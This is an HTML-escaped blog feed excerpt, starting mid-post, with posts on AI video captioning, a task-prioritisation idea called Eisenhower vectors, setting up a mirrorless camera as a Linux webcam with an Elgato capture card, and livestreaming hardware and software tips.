tool, it’s &lt;a href=&quot;https://github.com/ramosbugs/oauth2-rs/blob/main/examples/google.rs&quot;&gt;just annoying&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;YouTube’s upload API uses a particular kind of request encoding
(&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc2616#section-3.6.1&quot;&gt;chunked transfer encoding&lt;/a&gt;) that &lt;a href=&quot;https://github.com/seanmonstar/reqwest/issues/1139&quot;&gt;isn’t supported&lt;/a&gt;
by the Rust HTTP library I’m using at the moment.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So I instead opted to do this part in Python (for now) based on the code
in the “Try it” box on the &lt;a href=&quot;https://developers.google.com/youtube/v3/docs/captions/insert&quot;&gt;caption API page&lt;/a&gt; (and the
&lt;a href=&quot;https://developers.google.com/explorer-help/code-samples#python&quot;&gt;instructions for running it&lt;/a&gt;). This required getting a set
of OAuth credentials from Google Cloud Console (not too bad since I
already had an “application” there for my API key), adding myself as a
“Test user” under “OAuth consent screen”, and tweaking the code a bit.
The end result is &lt;a href=&quot;https://github.com/jonhoo/gladia-captions/blob/main/upload-captions.py&quot;&gt;this Python script&lt;/a&gt;, which you should easily be
able to fit a slightly-different use-case.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;It’s worth noting that the YouTube API has a pretty strict free quota,
and that uploading captions consumes a fair bit of that quota (450 out
of 10k daily limit). This means that in practice you can only upload
about 20 captions a day through the API before YouTube will cut you
off for the day. And getting that limit bumped &lt;a href=&quot;https://support.google.com/youtube/contact/yt_api_form?hl=en&quot;&gt;is annoying&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;end-result&quot;&gt;End result&lt;/h1&gt;

&lt;p&gt;All &lt;a href=&quot;https://www.youtube.com/@jonhoo&quot;&gt;my videos&lt;/a&gt;, including the super long ones, will soon have English
captions (once the YouTube API allows), and I no longer need to
apologize for YouTube auto-captioning’s shortcomings 🎉&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:long-captions&quot;&gt;
      &lt;p&gt;Gladia sometimes returns captions that are overly
long. I haven’t found it to be an outright problem (like YouTube
rejecting the captions), it’s just a bit awkward to read when it
happens. It’d be nice if there was a way to limit the max caption
length, so I’ve filed &lt;a href=&quot;https://gladia-stt.nolt.io/13&quot;&gt;a feature
request&lt;/a&gt;. &lt;a href=&quot;#fnref:long-captions&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:server-split&quot;&gt;
      &lt;p&gt;It’s a little unfortunate that the audio has to be
split on the client side, especially given that the Gladia API
supports providing YouTube URLs directly. It’d be so convenient if
one could instead tell Gladia specifically which &lt;em&gt;part&lt;/em&gt; of the
posted URL’s audio to caption. So, I’ve filed &lt;a href=&quot;https://gladia-stt.nolt.io/24&quot;&gt;a feature
request&lt;/a&gt;. &lt;a href=&quot;#fnref:server-split&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:big-json&quot;&gt;
      &lt;p&gt;The Gladia API returns a fairly big JSON payload because it
also includes word-level timestamps. I didn’t need those here, but
there &lt;a href=&quot;https://gladia-stt.nolt.io/4&quot;&gt;isn’t currently&lt;/a&gt; a way to omit
them. &lt;a href=&quot;#fnref:big-json&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Sat, 13 Jan 2024 09:13:14 +0000</pubDate>
	<link>https://thesquareplanet.com/blog/ai-captioning/</link>
	<guid isPermaLink="true">https://thesquareplanet.com/blog/ai-captioning/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>Eisenhower vectors</title>
        <description>&lt;p&gt;This past week, during a team off-site at work, I was re-introduced to
&lt;a href=&quot;https://todoist.com/productivity-methods/eisenhower-matrix&quot;&gt;the Eisenhower matrix&lt;/a&gt;; a handy device for prioritizing tasks and
deciding how and when to handle them. It gets its name from &lt;a href=&quot;https://www.presidency.ucsb.edu/documents/address-the-second-assembly-the-world-council-churches-evanston-illinois&quot;&gt;this quote&lt;/a&gt;
from US President Dwight D. Eisenhower:&lt;/p&gt;

&lt;blockquote class=&quot;epigraph&quot;&gt;
  &lt;p&gt;I have two kinds of problems, the urgent and the important.
The urgent are not important, and the important are never urgent.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;(In the speech, Eisenhower in turn attributes it to a “former college
president”, and this general principle is also known by other names like
“ABCD analysis”, but let’s stick with the Eisenhower nomenclature).&lt;/p&gt;

&lt;p&gt;At its core, the basic idea is that every task can be be classified as
important (or not), and urgent (or not), and that these two are
independent variables. Things can be urgent without being important, and
vice-versa. Once classified in this way, the rule of thumb is to &lt;strong&gt;do&lt;/strong&gt;
things that are both important &lt;em&gt;and&lt;/em&gt; urgent, &lt;strong&gt;schedule&lt;/strong&gt; things that
are important but not urgent, &lt;strong&gt;delegate&lt;/strong&gt; things that are urgent but
not important, and &lt;strong&gt;drop&lt;/strong&gt; tasks that are neither important or urgent.&lt;/p&gt;

&lt;p&gt;While we were going through some exercises on prioritization using the
Eisenhower matrix, it struck me that there’s a facet of tasks that
factors into their priority but isn’t represented in the matrix: a
task’s &lt;strong&gt;potential&lt;/strong&gt;. Some tasks are neither important nor urgent &lt;em&gt;right
now&lt;/em&gt;, but have the potential to become one or the other at some future
point in time. And this potential should be factored into that task’s
priority.&lt;/p&gt;

&lt;p&gt;(You could argue that a task’s potential should factor into how
important it is, but I think it’s a useful exercise to treat potential
as a third facet so that you are forced to take it into account.)&lt;/p&gt;

&lt;p&gt;So, let me introduce you to the &lt;em&gt;Eisenhower vector&lt;/em&gt;. Like &lt;a href=&quot;https://en.wikipedia.org/wiki/Euclidean_vector&quot;&gt;(Euclidian)
(bound) vectors&lt;/a&gt;, an Eisenhower vector is an arrow with a point of
origin, a direction, and a magnitude (or length). The point of origin
represents the &lt;em&gt;current&lt;/em&gt; classification of the task along the importance
and urgency axes of the Eisenhower matrix. The direction signifies how
the importance and urgency is expected to change over time. And the
magnitude dictates how quickly you think the task is likely to develop
in that direction. For example:&lt;/p&gt;

&lt;figure&gt;
&lt;img src=&quot;/gfx/eisenhower-vector-more.svg&quot; alt=&quot;Eisenhower vector for a task whose origin is not urgent or important, but is trending towards important&quot; /&gt;
&lt;figcaption&gt;An Eisenhower vector for a task that is currently not important or urgent, but is gradually becoming more important.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;This task would normally be dropped, since it’s not important or urgent.
But, we’re expecting that it will become more important over time,
potentially crossing the boundary into important-but-not-urgent
territory. And as a result, it may deserve to be scheduled (with a lower
priority) rather than dropped. Compare that to this task:&lt;/p&gt;

&lt;figure&gt;
&lt;img src=&quot;/gfx/eisenhower-vector-less.svg&quot; alt=&quot;Eisenhower vector for a task whose origin is urgent, not important, and rapidly trending towards less urgent&quot; /&gt;
&lt;figcaption&gt;An Eisenhower vector for a task that is currently quite urgent, not important, and expected to rapidly become less urgent.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;It’s currently very urgent (a customer has sent you four emails in the
past five minutes), but you expect that that urgency will fade rather
quickly if the task is &lt;em&gt;not&lt;/em&gt; done immediately. This, too, should affect
the task’s prioritization relative to other tasks. Given the perceived
urgency, the customer in question probably won’t be happy about you not
doing it (they never are when things feel urgent), but it may still be
worthwhile down-prioritizing the task over something else that’s
currently less urgent, but will remain as urgent.&lt;/p&gt;

&lt;p&gt;Note that unlike the original Eisenhower matrix, Eisenhower vectors do
not have a general rule for what the direction and magnitude imply as
far as task management goes (i.e., do/schedule/delegate/drop). Instead,
they are a means to help you visualize (and thus bring into focus) a
task’s trend-line so that you don’t forget about that part while
prioritizing. If you want a very non-scientific rule of thumb, consider
prioritizing Eisenhower vectors as though they were a point at the
mid-point of the arrow.&lt;/p&gt;

&lt;p&gt;That’s all — happy tasking!&lt;/p&gt;

</description>
        <pubDate>Sun, 29 Oct 2023 09:04:37 +0000</pubDate>
	<link>https://thesquareplanet.com/blog/eisenhower-vectors/</link>
	<guid isPermaLink="true">https://thesquareplanet.com/blog/eisenhower-vectors/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>Using a real camera as a webcam on Linux</title>
        <description>&lt;p&gt;I’ve wanted to upgrade my video setup for a while now. The &lt;a href=&quot;https://www.logitech.com/en-us/products/webcams/c920-pro-hd-webcam.960-000764.html&quot;&gt;Logitech
C920&lt;/a&gt; I’ve been using is quite decent, but I figured that if I’m only
going to produce more video content going forward, the upgrade would be
worth it. And I figured that doing the upgrade &lt;em&gt;before&lt;/em&gt; I &lt;a href=&quot;https://twitter.com/jonhoo/status/1315816753679622144&quot;&gt;record my
thesis defense&lt;/a&gt;
might be a good idea.&lt;/p&gt;

&lt;p&gt;Unfortunately, there aren’t that many webcams that are “better” than the
C920. Some recommend the &lt;a href=&quot;https://www.logitech.com/en-us/product/brio&quot;&gt;Brio&lt;/a&gt; or the &lt;a href=&quot;https://www.logitech.com/en-us/products/webcams/streamcam.960-001289.html&quot;&gt;StreamCam&lt;/a&gt; (this really seems to
be a Logitech market), but none of them appear to &lt;em&gt;that&lt;/em&gt; much of a step
up. Fundamentally, you can only get so far with a sensor and lens that
small.&lt;/p&gt;

&lt;p&gt;Instead, the next step up is to get a “real” camera, and somehow hook
that up to your computer. This, of course, immediately raises a number
of questions: what is a real camera, which one do I get, and how do I
hook it up? In my case, I had the additional requirement that it work on
Linux, which tends to throw a wrench into things. Especially because
most streamers (it seems) use Windows or macOS. And so, it’s adventure
time!&lt;/p&gt;

&lt;h1 id=&quot;choosing-a-camera&quot;&gt;Choosing a camera&lt;/h1&gt;

&lt;p&gt;When I say real camera, what I mean is a camera that’s specifically
intended for shooting video “for real”. There are four rough categories:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;DSLRs: the big cameras with attached lenses that go “shkshk” when you take a photo.&lt;/li&gt;
  &lt;li&gt;Mirrorless: the slightly smaller cameras with attached lenses that play a “shkshk” sound when you take a photo.&lt;/li&gt;
  &lt;li&gt;Camcorders: long cameras you slot your hand through that are made for shooting video.&lt;/li&gt;
  &lt;li&gt;Action Cameras: things like GoPros.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Picking between these is hard, and there aren’t obvious answers. I ended
up going for a mirrorless because: Action Cameras usually have really
wide angle lenses (which I didn’t need), DSLRs &lt;a href=&quot;https://filmora.wondershare.com/youtube/mirrorless-vs-dslr.html#part4&quot;&gt;don’t provide much
benefit in this context&lt;/a&gt;, and camcorders are only slightly
cheaper than mirrorless but have worse image quality and can’t be
upgraded with better lenses. I also found that it was easier to find
used mirrorless cameras for sale than it was to find camcorders.&lt;/p&gt;

&lt;p&gt;Now, not everything is rosy with mirrorless cameras either, mostly
because they weren’t really built for constantly streaming video. In
particular, you’ll want to get a “dummy battery”, which lets you hook
the camera into AC power so that it can run continuously. And those
aren’t generally official supported by the manufacturers. That said,
looking around the internet, people seem to be using them with much
success.&lt;/p&gt;

&lt;p&gt;Many “regular” cameras (as opposed to camcorders) also aren’t designed
to output video to other devices. Luckily, many of them have HDMI out
(which we’ll take advantage of), but often those are intended to be used
with external monitors, and not for actually recording anything. And as
a result, they often have a bunch of additional information on them that
is added by the camera; things like the current ISO, focus boxes,
shooting modes, etc. So, you’ll have to specifically look for one that
does not have those, or has a way to shut them off. The search term
you want to use is “clean HDMI”. There’s a handy lookup tool
&lt;a href=&quot;https://www.elgato.com/en/gaming/cam-link/camera-check&quot;&gt;here&lt;/a&gt;, though
it only covers relatively new devices.&lt;/p&gt;

&lt;p&gt;When it comes to picking a particular make and model, there aren’t
really any right answers. Your budget is going to mostly make the
decision for you. I highly recommend buying used, since cameras tend to
hold up pretty well, and still come at a significant discount. I ended
up going with the &lt;a href=&quot;https://shop.panasonic.com/cameras-and-camcorders/cameras/lumix-interchangeable-lens-ilc-cameras/DMC-G7K.html?dwvar_DMC-G7K_color=Black&quot;&gt;Panasonic LUMIX G7&lt;/a&gt;, which supports 4k video, has
clean HDMI, seems to be generally liked and well-tested in the
community, and had some decent offers on ebay. Do note that the G7 does
&lt;em&gt;not&lt;/em&gt; focus automatically when it’s just monitoring over HDMI, so you’ll
have to hold down the capture button half-way to manually focus. And you
have to do that each time you turn it on. If you know of a way to avoid
that, let me know!&lt;/p&gt;

&lt;p&gt;You’ll also find yourself looking at lenses when you are considering a
mirrorless camera. Chances are you want one that’s wide-angle to
replicate the feel of a webcam (at least that’s what I wanted), in which
case you want “fewer mm”. The G7 comes with a 14-42mm lens kit, and I’m
using it zoomed almost all the way out (so ~14mm). You can also get a
“prime” lens, which has better image quality, but doesn’t zoom (in or
out), but that’s probably not worth it if you’re only dipping your toes
in the water with this.&lt;/p&gt;

&lt;h1 id=&quot;hooking-it-up&quot;&gt;Hooking it up&lt;/h1&gt;

&lt;p&gt;So now you have this shiny new camera, and you need to set it up. And I
mean that in a “set up the cables and software” sense, but also in a
“physically place it in the right place” sense. The latter is a much
bigger hassle with a “real” camera, since it doesn’t just nicely attach
to the top of your screen. Exactly what arrangement works best for you
may take some thinking, but I repurposed my &lt;a href=&quot;https://www.innogear.com/products/microphone-stand-mic-windscreen-and-mic-pop-filter-set&quot;&gt;old mic boom&lt;/a&gt; as a camera
boom, and then grabbed a &lt;a href=&quot;https://smile.amazon.com/gp/product/B07RXQTL1V/ref=ppx_yo_dt_b_asin_title_o08_s00?ie=UTF8&amp;amp;psc=1&quot;&gt;“ball head”&lt;/a&gt; that would allow me to point the
camera. The camera attaches to the ball head, the ball head to the boom,
and the boom to the back of my desk near the monitor. It’s not the
&lt;em&gt;most&lt;/em&gt; elegant setup, but it’s cheap and I now have the camera exactly
where my webcam used to be.&lt;/p&gt;

&lt;p&gt;Now, for the cables. The trick that most of these camera setups pull is
to run HDMI from the cable to an “HDMI capture card”. The capture card
connects to your computer (usually either USB 3.0 or PCIe) and
gives you a way of “capturing” the HDMI signal through a program like
OBS. Of course, as will all external devices, whether one will work well
for you (especially on Linux) is a bit of a toss-up.&lt;/p&gt;

&lt;p&gt;In my case, I wanted something that did not require me to install any
drivers, or otherwise fiddle with my kernel, because fewer parts means
fewer opportunities for problems. In the Linux world, that &lt;em&gt;basically&lt;/em&gt;
means you want a capture card that supports &lt;a href=&quot;https://www.ideasonboard.org/uvc/&quot;&gt;UVC&lt;/a&gt;, a standardized
protocol for manifesting video devices over USB. In fact, it’s probably
what your webcam is using already! UVC devices are generally supported
right out of the box, and automatically appear on Linux as &lt;a href=&quot;https://linuxdevices.org/intro-to-v4l2-a/&quot;&gt;V4L2
devices&lt;/a&gt; (again, just like a webcam!). So, in theory, completely
hassle-free. I didn’t find too many HDMI capture cards that used UVC,
but the &lt;a href=&quot;https://www.elgato.com/en/gaming/cam-link-4k&quot;&gt;Elgato Cam Link&lt;/a&gt; does. People also seemed to have some luck
with actually running it in practice on Linux from some cursory
searching, so I went with that one.&lt;/p&gt;

&lt;p&gt;Actually hooking all of this up wasn’t too bad. I got &lt;a href=&quot;https://smile.amazon.com/gp/product/B01D69P0UG/ref=ppx_yo_dt_b_asin_title_o08_s00?ie=UTF8&amp;amp;psc=1&quot;&gt;this dummy
battery&lt;/a&gt; and a random micro HDMI to HDMI cable, and after connecting
everything, the camera came on, and the light on the Elgato lit up.
There was even a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/video0&lt;/code&gt; device! So far so good. But when I
actually went to try looking at the webcam output (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ffplay
/dev/video0&lt;/code&gt;), I got nothing. Hmm…&lt;/p&gt;

&lt;h1 id=&quot;actually-getting-an-image&quot;&gt;Actually getting an image&lt;/h1&gt;

&lt;p&gt;I’ll spare you the journey, and instead give you the conclusions. First,
I had to change a couple of settings on the camera. The little knob on
the right had to be set to P (others may also work), and the shooting
mode knob on the left had to be set to the single picture frame. Other
configurations may also work. Then, in settings, “Rec Format” had to be
set to MP4, and “HDMI Info Display” under “TV Connection” had to be set
to off. You can set “Rec Quality” to whatever you want, though I
recommend FHD/60p because:&lt;/p&gt;

&lt;p&gt;Elgato &lt;a href=&quot;https://github.com/xkahn/camlink#this-is-a-cam-link-bug-4k-what-does-elgato-support-say&quot;&gt;does not officially support Linux&lt;/a&gt;, and so various
configurations get a little wonky. In particular, the Elgato advertises
a number of different supported color modes even though the camera does
not support them. If you set the camera to output FHD for example, it
reports:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;v4l2-ctl &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; /dev/video0 &lt;span class=&quot;nt&quot;&gt;--list-formats-ext&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;ioctl: VIDIOC_ENUM_FMT
        Type: Video Capture

        [0]: &apos;YUYV&apos; (YUYV 4:2:2)
                Size: Discrete 1920x1080
                        Interval: Discrete 0.017s (59.940 fps)
        [1]: &apos;NV12&apos; (Y/CbCr 4:2:0)
                Size: Discrete 1920x1080
                        Interval: Discrete 0.017s (59.940 fps)
        [2]: &apos;YU12&apos; (Planar YUV 4:2:0)
                Size: Discrete 1920x1080
                        Interval: Discrete 0.017s (59.940 fps)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But in practice, anything but YUYV will give you an empty or green
screen. If you’re using this setup only in OBS this is fine, since you
can choose the color mode, but if you also want to use it as a webcam in
other applications, they will likely choose &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NV12&lt;/code&gt; and thus get a bad
signal. You can work around this using &lt;a href=&quot;https://github.com/xkahn/camlink&quot;&gt;this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt; script&lt;/a&gt;, which
isn’t great, but seems to work for me. The source is easy to audit. You
can test that this’ll work with&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;ffplay &lt;span class=&quot;nt&quot;&gt;-pixel_format&lt;/span&gt; yuyv422 /dev/video0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Worse yet, if you try to set the camera to any 4k output, that top
option is &lt;em&gt;also&lt;/em&gt; listed as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Y/CbCr 4:2:0&lt;/code&gt;  (which is a &lt;em&gt;different&lt;/em&gt; bug),
and I don’t know if the preload trick will work there.&lt;/p&gt;

&lt;p&gt;I also found that the signal had a noticeable input lag (probably
~500ms). Many people complained that this happened if they connected the
Cam Link to a USB port that shared a bus with many other devices (check
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsusb -tv&lt;/code&gt;), but that wasn’t the case in my setup. However, this lag
went away when the camera was set to output in 60 fps (and only then).
Which is super weird, since FHD/30 should send &lt;em&gt;less&lt;/em&gt; data over the
link, but it also had the added latency. Shrug. For the Panasonic G7,
this eliminated 4k input (which it can only do at 30fps), but I’m okay
with that. Hopefully one day that’ll be fixed.&lt;/p&gt;

&lt;h2 id=&quot;handy-usb-reset&quot;&gt;Handy USB reset&lt;/h2&gt;

&lt;p&gt;I’ve found the Elgato to be really finicky about allowing you to start
and stop capturing. And it gets old really fast to have to plug it out
and back in between each time you want to record. It turns out you can
get around this really easily by doing a “soft” reset using &lt;a href=&quot;https://marc.info/?l=linux-usb&amp;amp;m=121459435621262&amp;amp;w=2&quot;&gt;this
program&lt;/a&gt;. It looks
a little intimidating, but it really just issues an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl&lt;/code&gt;. There are
usage instructions
&lt;a href=&quot;https://askubuntu.com/questions/645/how-do-you-reset-a-usb-device-from-the-command-line&quot;&gt;here&lt;/a&gt;,
though after you’ve compiled it (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cc usbreset.c -o usbreset&lt;/code&gt;), it’s
just:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;lsusb | &lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;Elgato
&lt;span class=&quot;go&quot;&gt;Bus 001 Device 002: ID 0fd9:0066 Elgato Systems GmbH Cam Link 4K
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; ./usbreset /dev/bus/usb/001/002
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And then you should be able to capture the video again just fine. I now
simply re-run this program every time I stop capturing so it’ll be ready
again for next time. I wish I didn’t have to, but I haven’t had any
issues since I started doing that.&lt;/p&gt;

&lt;h1 id=&quot;result&quot;&gt;Result&lt;/h1&gt;

&lt;p&gt;Which brings me to the end. It works! As for whether it looks better,
I’ll let you be the judge. The pictures in this tweet were taken at
exactly the same time by my old webcam and my new camera which were set
up side-by-side:&lt;/p&gt;

&lt;blockquote class=&quot;twitter-tweet&quot; data-conversation=&quot;none&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Just gave my webcam setup an upgrade. I think it got better. &lt;a href=&quot;https://t.co/U1IvdM23a4&quot;&gt;pic.twitter.com/U1IvdM23a4&lt;/a&gt;&lt;/p&gt;&amp;mdash; Jon Gjengset (@jonhoo) &lt;a href=&quot;https://twitter.com/jonhoo/status/1316902940154728450?ref_src=twsrc%5Etfw&quot;&gt;October 16, 2020&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async=&quot;&quot; src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

&lt;blockquote class=&quot;twitter-tweet&quot; data-conversation=&quot;none&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;And for anyone who&amp;#39;s curious, here&amp;#39;s the setup itself (with old webcam for comparison): &lt;a href=&quot;https://t.co/vH2psKyhH5&quot;&gt;pic.twitter.com/vH2psKyhH5&lt;/a&gt;&lt;/p&gt;&amp;mdash; Jon Gjengset (@jonhoo) &lt;a href=&quot;https://twitter.com/jonhoo/status/1317169643467939840?ref_src=twsrc%5Etfw&quot;&gt;October 16, 2020&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async=&quot;&quot; src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

</description>
        <pubDate>Thu, 15 Oct 2020 17:50:01 +0000</pubDate>
	<link>https://thesquareplanet.com/blog/camera-webcam-on-linux/</link>
	<guid isPermaLink="true">https://thesquareplanet.com/blog/camera-webcam-on-linux/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>Livestream tips</title>
        <description>&lt;p&gt;Now that an increasing number of people are staying at home, more people
are asking me for advice on how to get started with live streaming. I
think this is &lt;em&gt;great&lt;/em&gt; (yay for sharing knowledge!), so I want to share
some of that advice here to make it more broadly accessible. This advice
is primarily targeted at people live-streaming technical content, but
may also be applicable beyond that.&lt;/p&gt;

&lt;p&gt;If this was useful to you, or you have a question that isn’t answered
here, please &lt;a href=&quot;https://twitter.com/jonhoo&quot;&gt;let me know&lt;/a&gt;!&lt;/p&gt;

&lt;h1 id=&quot;software&quot;&gt;Software&lt;/h1&gt;

&lt;p&gt;I use &lt;a href=&quot;https://obsproject.com/&quot;&gt;OBS Studio&lt;/a&gt;, and am very happy with it.
It supports all sorts of input sources, works on most platforms, and
supports both recording and streaming out of the box. It even lets you
inject websites into your video to include dashboards, chat, etc. should
you want it.&lt;/p&gt;

&lt;p&gt;I stream concurrently to both YouTube and Twitch using
&lt;a href=&quot;https://restream.io/&quot;&gt;restream.io&lt;/a&gt;. The service is free, and also takes
care of synchronizing your chat between the two platforms. I have no
complaints about it, and it’s also easy to set up with OBS. I
multistream to those two platforms because I find that people have
strong preferences for what platform they want to watch on, and who am I
to say no. On average, about a quarter of my live viewers are on Twitch,
and the rest on YouTube. Twitch has lower latency, better quality, and
fewer connection problems, but YouTube presents a wider audience.&lt;/p&gt;

&lt;p&gt;For drawing things, I use &lt;a href=&quot;http://mypaint.org/&quot;&gt;MyPaint&lt;/a&gt;, and it seems to do the job nicely.&lt;/p&gt;

&lt;h1 id=&quot;hardware&quot;&gt;Hardware&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Get a decent microphone&lt;/strong&gt;. If there is &lt;em&gt;one&lt;/em&gt; thing you take away from
this, it’s that. A proper, standalone microphone is &lt;em&gt;so&lt;/em&gt; much better,
and not even all that expensive. I started out with the &lt;a href=&quot;http://www.samsontech.com/samson/products/microphones/usb-microphones/q2u/&quot;&gt;Samson Q2U&lt;/a&gt;,
and was very happy with it. You can hear what it sounds like in &lt;a href=&quot;https://www.youtube.com/watch?v=Zdudg5TV9i4&amp;amp;list=PLqbS7AVVErFifv2Ek-bCRhrVyi_dQeqcY&quot;&gt;one of
my first videos&lt;/a&gt;. I’ve since upgraded to the &lt;a href=&quot;https://www.rode.com/microphones/podcaster&quot;&gt;RØDE Podcaster&lt;/a&gt; (which
sounds &lt;a href=&quot;https://www.youtube.com/watch?v=DkMwYxfSYNQ&quot;&gt;like this&lt;/a&gt;), and I doubt I’ll need anything more fancy that that
ever. I’ll add that the step up from the Samson to the RØDE &lt;em&gt;is&lt;/em&gt;
noticeable (just see the comments).&lt;/p&gt;

&lt;p&gt;I recommend also getting a mic boom (an arm that holds your microphone). 
It lets you position the mic closer to your mouth, which makes your
voice clearer and reduces the noise from your keyboard and desk. Compare
this video &lt;a href=&quot;https://www.youtube.com/watch?v=jTpK-bNZiA4&quot;&gt;without a boom&lt;/a&gt; to this one &lt;a href=&quot;https://www.youtube.com/watch?v=Qy1tQesXc7k&quot;&gt;with a boom&lt;/a&gt;. For the Samson
Q2U microphone, I used this &lt;a href=&quot;https://www.innogear.com/products/microphone-stand-mic-windscreen-and-mic-pop-filter-set&quot;&gt;InnoGear arm&lt;/a&gt;, and for the RØDE I got their
&lt;a href=&quot;https://www.rode.com/accessories/psa1&quot;&gt;PSA1 arm&lt;/a&gt;. Both work great.&lt;/p&gt;

&lt;p&gt;If you’re going to be doing live programming with a lot of typing, I’d
also recommend investing in a shock mount. They’re pretty cheap, and
they reduce amount of vibration from your key presses that gets picked
up by the microphone (which users &lt;a href=&quot;https://www.reddit.com/r/rust/comments/d4bxb8/the_why_what_and_how_of_pinning_in_rust_video/f0jy1mk/&quot;&gt;do notice&lt;/a&gt;), as well as &lt;a href=&quot;https://www.youtube.com/watch?v=DkMwYxfSYNQ&amp;amp;t=8769s&quot;&gt;thuds&lt;/a&gt;
if you accidentally hit your mic. To hear the effect, compare the video
with the &lt;a href=&quot;https://www.youtube.com/watch?v=DkMwYxfSYNQ&amp;amp;t=8769s&quot;&gt;thud&lt;/a&gt; to one &lt;a href=&quot;https://www.youtube.com/watch?v=bJmlI4Ug-p0&quot;&gt;with a shock mount&lt;/a&gt;. I only ever got one for my
new mic, not the old one, and there I went with the &lt;a href=&quot;https://www.rode.com/accessories/psm1&quot;&gt;RØDE PSM1&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I’ve also found that it’s really useful to have a drawing tablet of some
kind for simple whiteboarding. Pretty much any tablet will do. I’m using
the relatively simple &lt;a href=&quot;https://www.huion.com/pen_tablet/H640P.html&quot;&gt;Huion H640P&lt;/a&gt; and it does the job.&lt;/p&gt;

&lt;p&gt;It’s not &lt;em&gt;necessary&lt;/em&gt;, but I also suggest getting a small second monitor
where you can have non-public things open during the stream. For me, the
primary use for this is chat. That way, you can devote your full primary
screen real-estate to the stream without having to cramp things due to
the space taken up by the chat window.&lt;/p&gt;

&lt;p&gt;Having OBS run video encoding in the background &lt;em&gt;may&lt;/em&gt; put a strain on
your computer, so you’ll want to make sure you have the hardware to
drive full 1080p encoding while also compiling code (or doing whatever
else it is you are streaming). I did my first few streams on my laptop,
and that worked okay, but the stream quality did suffer as a result. I
now do my live coding on a desktop with more cores and a (not very
fancy) GPU, and that works way better. A short test stream is great for
figuring this stuff out! You may want to consider restricting the number
of cores you allow your compiler to use using something like &lt;a href=&quot;https://github.com/jonhoo/curb&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curb&lt;/code&gt;&lt;/a&gt;,
&lt;a href=&quot;https://linux.die.net/man/1/hwloc-bind&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hwloc-bind&lt;/code&gt;&lt;/a&gt;, or &lt;a href=&quot;https://linux.die.net/man/8/numactl&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;numactl&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

